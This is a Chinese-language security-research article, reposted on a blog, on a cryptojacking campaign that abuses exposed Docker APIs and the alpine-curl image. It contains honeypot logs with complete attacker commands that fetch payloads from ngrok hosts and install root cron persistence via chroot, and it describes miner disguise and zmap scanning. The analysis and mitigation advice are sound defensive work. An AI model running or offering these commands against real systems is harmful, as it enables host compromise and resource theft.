最新消息:

Docker Control API和社区镜像被用来传播加密货币挖矿恶意软件

案例样本 admin 1993浏览 0评论

导语:研究人员通过蜜罐收集的数据发现一起利用Docker Hub上发布的容器镜像的伪造容器进行非授权的加密货币挖矿的恶意活动。

研究人员通过搭建容器蜜罐收集的数据进行分析来监控威胁,并且发现了一起利用使用Docker Hub上发布的容器镜像的伪造容器进行非授权的加密货币挖矿的恶意活动。该镜像被用来传播加密货币挖矿恶意软件。

对于安全公司和安全研究人员来说,搭建没有任何安全防护措施和没有预装安全软件的蜜罐是常用的收集恶意样本的方式。但docker是有最佳实践和建议来防止这类错误的、不安全的配置的。蜜罐获取的流量和活动是为了获取针对容器平台本身的攻击而不是容器应用的。

研究人员发现的这起攻击活动是不依赖于任何漏洞利用,也不依赖于某种docker版本的。发现错误配置和暴露的容器镜像是攻击者感染更多相关主机唯一需要做的。

暴露后,Docker API会让用户执行大量的命令。包括列出运行的容器、获取特定容器的日志、开始停止或kill某个容器、甚至可以创建给定图片和选项的新容器。

图1. Payload传输过程(左),可以让镜像远程应用的攻击者环境的可视化(右)

图2. 3762个暴露的docker API的国家分布

攻击链和payload

研究人员发现这些攻击活动不仅仅是通过监控蜜罐发现的,图2中的数据也表明自从上次错误配置的容器被滥用来传播门罗币挖矿软件后,包括的Docker API数量不断增长。去年10月的时候,暴露的API数量才只有856。

研究人员进一步分析蜜罐的日志表明容器镜像的滥用也包含对ngrok的滥用,ngrok是用来建立安全连接或从终端到特定地址或资源的中继流量的。通过ngrok攻击者就可以在有payload要传递给某个暴露的主机时再动态创建URL了。下面是ngrok服务被滥用的蜜罐日志:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”

从上面可以看出,下载的文件是从定期变化的URL中提取的。URL的生存时间都比较短,因此payload在URL过期后就无法下载了。

研究人员在分析过程中共发现2个payload。第一个是一个Linux ELF文件编译的连接到挖矿池的加密货币挖矿机。第二个是一个shell脚本,作用是提取特定的网络工具。这些都被用来扫描预定义的网络,以寻找新的目标。

释放器一共设定了2个变量之后会被用于加密货币挖矿机。变量host含有保存恶意文件的URL,而变量RIP有要应用的加密货币挖矿机的文件名(哈希值)。变量HOST的值是根据hash变量的变化而变化的。应用的脚本会尝试确保受感染的主机上没有运行其他的加密货币挖矿机。

图3. 加密货币挖矿机应用时的HOST和RIP变量示例(上)和脚本确保没有其他加密货币挖矿机运行的代码段(中,下)

在加密货币挖矿机执行前会被重命名为nginx。脚本的其他版本会重命名挖矿机脚本为Linux环境中常见的有效服务。这样就可以避免被检测到。

映射脚本也有一些特征。脚本使用相同的URL服务来应用需要的工具。其中一个就是Linux二进制文件zmap,zmap是用来扫描网络和获取开放端口的。也会下载不同的二进制文件来与找到的服务进行交互,获取banner来确定更多信息,比如运行的版本等。

脚本会预定义要扫描的网络范围集。网络范围是根据脚本的版本变化的,在开始扫描进程之前就预定义了目标服务使用的特定端口。

一旦找到目标,就会自动获取banner。脚本会过滤目标来与服务、应用、组件和平台等进行匹配,脚本感兴趣的平台包括Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker client version 1.16, Apache CouchDB等。如果扫描的主机与任意一个匹配,就保存在文本文件中,用于攻击者之后的开发和入侵活动。

文件文件会通过动态链接上传到攻击者的服务器。也就是说每次上传文本文件使用的URL可能都是不同的,因此很难找出这些URL。

如图4、图5所示,Docker镜像被用作传播攻击的向量之一。

图4. 加密货币挖机被重命名为合法服务(上),zmap用来是扫描网络(下)

图5. 脚本预定义要扫描的网络范围(上)和定义目标服务的特定端口(下)

图6. “alpine-curl”容器的下载量超过1000万

基于Docker的镜像可以构建在使用curl的Alpine Linux上,这是一个通过不同协议来进行文件传播的资源高效利用的命令行工具。如图6所示,curl容器下载量已经超过1000万。下载量可能可以归结于镜像的curl作为入口点,上次更新已经是6个月之前了,相同库里的其他镜像的下载量远远低于该镜像。在Docker中,入口的是用来配置容器使其以可执行文件运行的指令集,因此可以被利用作为攻击向量。黑客一旦大仙运行的容器有错误配置,就可以利用它来传播payload。

但是Docker镜像(alpine-curl)本身并不是恶意的,它知识被攻击者滥用作了恶意用途。类似的Docker镜像也可能被滥用来执行其他恶意活动。

建议

错误配置对许多企业来说仍然是一大挑战,尤其是应用了 DevOps之后。从以前的一些安全事件可以发现安全设计(security by design)的重要性,因此研究人员给出以下建议:

· 系统管理员和开发者要定期检查API的配置,确保只从目标主机或内部网络接收请求。

· 应用最小权限原则。确保容器镜像是签名或认证过的,要限制对关键组件的访问权限,加密网络连接。

· 遵循最佳安全实践,启用安全机制,比如Docker发布的安全指南和内置的安全特征。

· 应用自动运行时和镜像扫描来获取容器进程的可见性。应用控制和完整性监控可以发现服务器、文件和系统区域的异常修改。

转自:https://www.4hou.com/other/16493.html

转载请注明:jinglingshu的博客 » Docker Control API和社区镜像被用来传播加密货币挖矿恶意软件

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址